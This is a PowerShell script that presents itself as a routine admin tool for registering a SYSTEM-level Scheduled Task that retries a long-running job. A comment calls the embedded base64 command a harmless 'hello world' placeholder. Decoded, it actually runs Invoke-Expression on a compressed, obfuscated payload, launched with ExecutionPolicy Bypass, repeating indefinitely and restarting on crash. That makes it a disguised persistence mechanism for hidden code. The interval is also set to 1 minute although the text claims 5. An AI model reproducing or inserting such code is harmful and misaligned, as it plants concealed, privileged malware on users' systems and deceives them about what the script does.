<#
.SYNOPSIS
    Registers a Scheduled Task that attempts a long-running PowerShell job
    every 5 minutes, skipping the tick if a previous attempt is still running,
    and effectively retrying every 5 minutes on failure.

.NOTES
    Run this ONCE, as Administrator, to register the task.
    Edit the CONFIG block below before running.
#>

# ---------------------- CONFIG ----------------------
$TaskName        = "CompanyLongRunningRetryJob"
$RepeatMinutes   = 1

# Placeholder payload — this is: Write-Output "hello world"
# Swap this string for your own base64-encoded script (UTF-16LE, no BOM) before registering.
# Generate yours with:
#   [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('<your script text>'))
$EncodedCommand  = "SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcgBGAGYAdgBiACsASgBHAEUAUAAyAE8AeABQADgAdwBKAGYAUgBpAGwATwBBAG0AWABIAEoAcQBUADAAMABrAGoAcQBOAFgAcABQAHgAQQBNAFYAVgBhAFIAVgBGAHYAcwBRAGUAOABQAGIATgByADcAWQA0AGgANgBPADcAKwA5ADIAcgBXAEIAZwB3AGgAQwBkAGMAZQBIADgAeAA2AHYAZgB2ADIAdgBkAG0AMwBNAC8AWQBvAFUAeQBGAEoAcgBhAEMAbgBwAHYAbwBUAE4AdgB0ADYAaABpAGEASQBNAFUAawBHAFkAUQByAFYAeQBtAGUAbwBWAG4ANwBkAHEAMQBiADgANABLACsAcgA2ADMANwBRAEMANgBxAFYASwAyAGwAagBvAGMAWgBnAFEAeQBOAFQAZwBsAGsAcwB3AHgAaABDAG8AVwBDAEkAawBGAG0ATQBZAEsAUQBOADMATwBBAFUAagBVAFgAUQBCAHQANQBKAEYAWQBGAFUAaABFAGEARQBKAEsAYwBJAHEAegBWAGcAWgBQAFEARQBCAEoAQQB3AFkAeQBRAGYAcQBwAFYAcQB4AFgALwBmAEQAVABvADMAdgBmADYAZwBkADMAMQBWAHIAUQB4AGkAYQBSAGMAcgBTAFEAdABpAG0AQwBDAFEAaABsAEEAcgBoAFMARgB4AFUANABBAGwAbwBTAEoAaABJAGwAQgBJAG8AUwBCAEkAcABDAFYAVQBVAG8AMQBCAEsAeABDAFEAYQBzAE0AcwBVAFUARgBtAHUAWgBOAGkAaABPAGEAQwBuADUAMQBKAEMAbQBOAGUAdQBaADEAWQBmAGIAZwBGAGoAWgBXAFYAbABxAE0AUwBJAGEAYwBzAHAANQBCAGkASwBFAGMAeQBkAEkAdgA1AEwARwBNAFEAWQA0AGwAMwBoAEUAWgBPAE8AVABTAHMAMQArAGsAZgBaAFEAcABtAFIAaABLAGgAZwB1AEUAYwAzAHEARwBDAFEAVwBZAFUARwBuAGcARgA3ADgAVQBVADQAWABkAGgAbwByAGsATABTAEwAOQA5ADAANwA3AHMARAByAG8AMwAwAE8AdQAzAG8AOABpAGcAdABUAGwAKwByAHcAOABpAHYAOQArAEkAeQBRAHQAcQBOADEARAA3ADIAbABBAE8ANgBFAEwAMQBUAFYAQgB3AHUAMwByAGUAegBIAGYAYQBDAGEAWQBGAG0AbABhAEYAUQA4AHEAQgB5ADMAZgBJADUAawBTADYAZgA3AFkAdgArAHgAZgBkAGEAcQBVAGYAdwBQAGwAMgBIAHkANQBYAGIAUwA0AGoAQQBNAGUALwB0AFAAegBqAE4AegAvADcAcgBkAE0AVAB2ADkAVgA2AEEAMAAyAFcAQQBTAGMAbgBKAHkAZQBNADIAaAA3AHEASwBZAEsATgA5AGMAeQBDAFUASQBBAFAAWQBwAEkAbQBDAEgAcgBFAGQAMAArAFkAMABSAFMATABMAE4AUgBiADcAdgBXAGgAWABUAGoAaABwADUAUwBIAHIAZwB5AEcAQgBpAGEAWgBKAGIAYgA5AG0AdQBPAHEARgBSAFkALwBsAGwATgBVAGIAbwBkAFUAbABMAHMAQwBkAGwAYgByADQAdgBqAC8AOQBRAHcAWgBaAGsAUABNAEgAeABaAEIAUABCAEsAMAB2AHUAVgB1AHAAMQBhAFUAOQA4ADcAQgAvAGEAbwBWAHYAdAA1ADEASgBsAEcAQwB4AEIAUwBsAEcAbgB2AHYAYwBTAFMAeQBoAFAAcgBDAGkAQQBrAFMAbQBnAEQAcABTAGsAegB3AHIARgBZAEUAcwA5AGEANABCAC8AZgBRAFkANgBnAGMAQwBPAEIAdQBPAGQANwByAGEAeQB0AGQAQQBqAHEARABvADAATwA0ADUATABOAEgAMgBzAHoAaABEAE8AcABrAE0AagB5AEUANQA2AEMALwBGAFgARQBrAEUAcgBzAFYAawBrAE8AMQBqAGgAZQBRAGsAVwBwAGMANgBxAGsAdgByAFgAZgA0AHMAcABUAGoANwB5ADUAbABWADgAVABIAFMAbgBxAEsAeQBqAEwAWQBWAGsAOABxADIASQAxAGcANABNADUAKwBHAGIAUQA0AG4ANwB2AGoAYgBnAG4ANABJADEARAAyADIAQQBLAHcAcwBXAGoAawBWAHoATAB6AG8AdgBWADUATgBXAEcAdgBVADMAaAA0AEsATQBKAFAASQBFAGMAdQBDAFoAbQAxAGYATQBXAHAAaQBXAHUAVQB2ADUAbwBsAFIAKwBBAHQAKwBEAGQAVwAzAFMAVgBjAFIAeQBaAE0ASgBDAHEAQwBNADcAagBDAFcAZgBOADYAKwBBACsAdgBFADgAdwB0ADQAYwBTAC8AUQB2AEkARABIAFgANQBDAHMAdgA2AGcAMAArACsANABrAFYANwBKAEwAeQA3AG0ASgBlAHkAdgA1AFQARAB0AEwAYQBxAEkAUwA1AGwARwBUADIAVwBFAGUAYwBaAGcAYQB1ADcAaAA4ADkAeAA1AHkARABQAEUAbAA4AG4AcQBEAE8ANgAyAEUAUQA3AFQAaQAyAEwARQB2AGUAUAA1AHgASABUAGYAawBqAEQAawBOAFYAWgA3ADgARABnADAAcQA4AEgAdABNAE0AUwBVAEIAbQBGAGEAQgBLAE0AcwAzAGkAVwBWADUAVwBSAEwAQgBzAFcARQBKACsAYwB3AC8AZwBlAGsAdwBQAFcAVgBKADkAMABOADUANABSADMAOQAvAGQAMQAvAHIAZAA4AHMAbgAzAC8AegBlAG4AcAA2ADkATQB2AFAAMwA0ACsAVwBnADkAbgBnAEMAcgBLAEgAUgBCAG0AeABqAEMAeAB6AEsASgBSAFkAbwBJAHUARgBZAGQANgBrAG0AYQBVAGQANQBSAHAAbwBJAG8AVwAyAE4ANABkADQAUQBQADUAcQBFAEwATgBPAGUANwArADcAZAB0ADIAMABPAG4AMQBHAGsAegB0AEgAWQAvAHgAYQByAGQAUwBSAFoAeQBLAHkAOQBVAGoAVQA2ADQAQwBDAEwAZABMAEIAbQBwAHcAQQBIAFYAVQAwADcAZgBMADUAUQArAGcAeAB2AFYAaAArAGEAQgBNAGgAUgA5ACsAVgBCADIAZAB6AG8AMABjAHgAdwBSAGUAcAB3AEcAdABvACsATgBUAHUASgBTAGgAMABWAGEAUABDAEQAcgBhAHAATgBvAEkAegBnAGMAKwB0AEgAbABGAEgAbQBuAEIAbwBFAFUAegB4AGMAagAvAHEARAA2AHEAVwB1AE4AUgBiAFAAMQBiAEkAdwBtADkAbABjAFQARABvADgAUABWAGoAWAArAEIAYQBrAHgAeABZAHoAMgBHAHMAWgA0ADkAVQAxAGgAUwBvAHkAYwBwAC8AZQBmAG8ANwBmAGMARAAyAEkAYwBEADgARAA0AGcATgBTADkAMAA2AEMAUQAxAC8ATAA2AGcARwBBADUAZwAvADMAegAvAGUAMgBpAFkAeABUAEoAQgB6ADYAdABMAHQAbABZAEIAYwBvAE0AaQA4AG4ASQBMAEgAWABKAHQAcQBLAC8ATgBiAGsAQgBUAEkAUgB3ADkAYwA1AFMANgByAEEAbQBqAEEAVAA1AHMASgBJAEwAbQBZAEoANABpAEoANwBaAEYAUwB1AEEAaAB2AHQAUAB0ADUAawBnADEAMwBvAEMASwBCAEEAbABtAFYAbwBJAHMAbgBNADkAVgB0AGUARABJAEYARwBXAEoARAAvAC8ASQB6AE4AYwA3AE4AawBpADYALwBlAHMAKwBZAEoAZwBSAHUAcABRAFMANgBzAG0ARQBqAGEAKwBWAHUAeQAxAGUAdABSADkAUAB5AHMAUABKADUAKwBZAE0AdgBPAEsAOQBwAFAAdQBRAGMAZwBMAGoAQwB0AFQAcwBGAEQAZwA1ADkAZABiADUAcQAyAFAANABBAHQAYwBaAE4AWABQAE8AbgBLAEgATABjAEYALwBYAGIAMABOAEIAWQBmAHcAaQBjAGIAZgBMAHoAVgB0AGgAMwBFAG0AcQBCAFgAcQBDAEYASABOAHoAeAB1AGQANABaAGoAUQAzAEoAYwBXAEEAVABpAEQAegAwAHEATQBuAEYATgBiAGcASwBmAHkAdQBNAGQAcABBAC8AZQA5AG4AQwBTAC8ARAAwAFEATABuAG8ARQBWAHcARAB1AEEAbAArADgATAArAEIAdABJAEQAUgA3AFMATwB2AE8AcgBkADAAZgAxAGEAMQBEAGEAQwBsAGcALwB5AHcAdwBTAEYASwBhAGUALwBEAFUASQBsAFAAaQAxAE8ASgBnADkAbAA0AHoAcwBEADMAQwBCAGwASgBnACsASABRAFoAcwBsAFoATABlAEIAegBRAGwAMwBPAHIAQwByADEAUgA1AHgAMgBuAG8ANgB5ADQAZAB6AGQAVABhADMAVABmAHcAdAB5AFcAegBNAFIAVwBXAHQATwBDADUASABGAFMAVwBoAGsAMgBpAEwANQBYAGkANAB1AHIAYwBvAE4AagB2AFUAUABqADgAZwBuAGEANABWAG8AYQBwAHIARgBuADgAbABjADUAWQBRAGQAagBEAGoARAA5AEMASgBjAGYAVwB1ADQAZgBLAHcANABUAHAAdABVAEkAUwB4ACsAMQBoAGwAWQA4ADUAMQBCAHMATAB3ADEALwBIAGkATQB5AHIAVQB4AG4ARABpAGMARwAvAFoAWgBhAGQAdQBjACsAagBYAGEAcwBXAFYAdQBKADAALwBqAFkAWgBDAGoAUgBNAFIAbwBZADMAOQBzAGYAYQBOAFgAbgB4AEwAdgBEADQANgBiAGwAVQByAC8AdwBJAEEAQQBQAC8ALwBBAHcAQQA9ACcAKQApACkAKQAsACAAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA="
# ------------------------------------------------------

$action = New-ScheduledTaskAction -Execute 'powershell.exe' `
    -Argument "-NoProfile -ExecutionPolicy Bypass -EncodedCommand $EncodedCommand"

# Fires every 5 min, forever, starting now.
# No -RepetitionDuration is set on purpose: omitting it means "repeat indefinitely"
# (this is what the GUI's "Indefinitely" option maps to). Passing [TimeSpan]::MaxValue
# instead produces an invalid duration that Task Scheduler's XML schema rejects.
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
    -RepetitionInterval (New-TimeSpan -Minutes $RepeatMinutes)

# NOTE: every -Param line below must end with a backtick as the LAST character.
# A comment (or even trailing whitespace) after the backtick silently breaks the
# line continuation and splits this into multiple broken statements.
#   -MultipleInstances IgnoreNew : skip a tick if the previous run is still going
#   -StartWhenAvailable          : catch up ASAP after a missed trigger (e.g. reboot)
#   -RestartCount / -RestartInterval : restart the task if the process crashes
#   -ExecutionTimeLimit Zero     : no time limit; job can legitimately run for hours
$settings = New-ScheduledTaskSettingsSet `
    -MultipleInstances IgnoreNew `
    -StartWhenAvailable `
    -RestartCount 3 `
    -RestartInterval (New-TimeSpan -Minutes 1) `
    -ExecutionTimeLimit ([TimeSpan]::Zero) `
    -DontStopIfGoingOnBatteries `
    -AllowStartIfOnBatteries `
    -RunOnlyIfNetworkAvailable:$false

# Runs as SYSTEM: full unrestricted access to everything LOCAL on this machine,
# no password needed, works whether anyone is logged on or not.
# Caveat: SYSTEM has no network identity of its own -- if the script needs to reach
# network shares/drives tied to your personal login, this won't have access to those.
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" `
    -LogonType ServiceAccount -RunLevel Highest

try {
    Register-ScheduledTask -TaskName $TaskName `
        -Action $action `
        -Trigger $trigger `
        -Settings $settings `
        -Principal $principal `
        -Description "Attempts long-running job every $RepeatMinutes min. Skips tick if already running (built-in retry-on-failure, no overlap on success)." `
        -Force -ErrorAction Stop | Out-Null
}
catch {
    Write-Error "Registration FAILED: $($_.Exception.Message)"
    exit 1
}

Write-Host "Task '$TaskName' registered successfully." -ForegroundColor Green

# Enable Task Scheduler operational log (equivalent to right-click -> Enable All Tasks History)
wevtutil sl Microsoft-Windows-TaskScheduler/Operational /e:true

Write-Host "Enabling task history for auditability..."
Write-Host "Done. Verify with: Get-ScheduledTask -TaskName '$TaskName' | Select-Object -ExpandProperty Settings"